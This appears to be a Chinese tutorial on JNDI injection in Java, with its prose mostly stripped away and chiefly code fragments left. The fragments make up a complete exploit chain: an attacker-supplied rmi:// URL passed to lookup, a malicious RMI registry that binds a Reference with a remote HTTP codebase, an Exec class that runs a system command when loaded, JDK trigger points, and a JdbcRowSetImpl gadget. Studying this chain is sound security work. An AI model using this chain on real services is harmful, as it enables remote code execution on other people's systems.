深入理解JAVA中的JNDI注入

Context context = new  InitialContext();context.lookup(providerURL);

?providerURL=rmi://10.0.0.2:9527/evil

protected String className;protected Vector<RefAddr> addrs = null;protected String classFactory = null;protected String classFactoryLocation = null;

Registry registry = LocateRegistry.createRegistry(9527);Reference exec = new Reference("Exec", "Exec", "http://127.0.0.1:8080/");ReferenceWrapper refWrap = new ReferenceWrapper(exec);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:9527/exec");registry.bind("exec", refWrap);

import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.io.InputStreamReader;import java.io.OutputStream;

public class Exec {    public Exec() throws Exception{        String cmd = "whoami";        Process p = Runtime.getRuntime().exec(cmd);        InputStream is = p.getInputStream();        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        byte[] b = new byte[1024];        int a = -1;        while ((a = is.read(b)) != -1){            baos.write(b, 0, a);        }

        System.out.println(new String(baos.toByteArray()));

        p.waitFor();    }}

javac Exec.java

cp Exec.class /var/www/html/

System.setProperty("java.rmi.server.useCodebaseOnly", "false");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");Context context = new  InitialContext();context.lookup("rmi://127.0.0.1/exec");

var1为传入的remote接口对象Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;

if (ref != null) {
            String f = ref.getFactoryClassName();            if (f != null) {                // if reference identifies a factory, use exclusively

                factory = getObjectFactoryFromReference(ref, f); //触发点1                if (factory != null) {                    return factory.getObjectInstance(ref, name, nameCtx,                                                     environment); //触发点2                }                // No factory found, so return original refInfo.                // Will reach this point if factory class is not in                // class path and reference does not contain a URL for it                return refInfo;

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

public class Exec implements ObjectFactory {
    public Exec(){    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        System.out.println("factory.getObjectInstance hook!");        return null;    }}

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");JdbcRowSetImpl j = new JdbcRowSetImpl();j.setDataSourceName("rmi://127.0.0.1:9527/exec");j.setAutoCommit(true);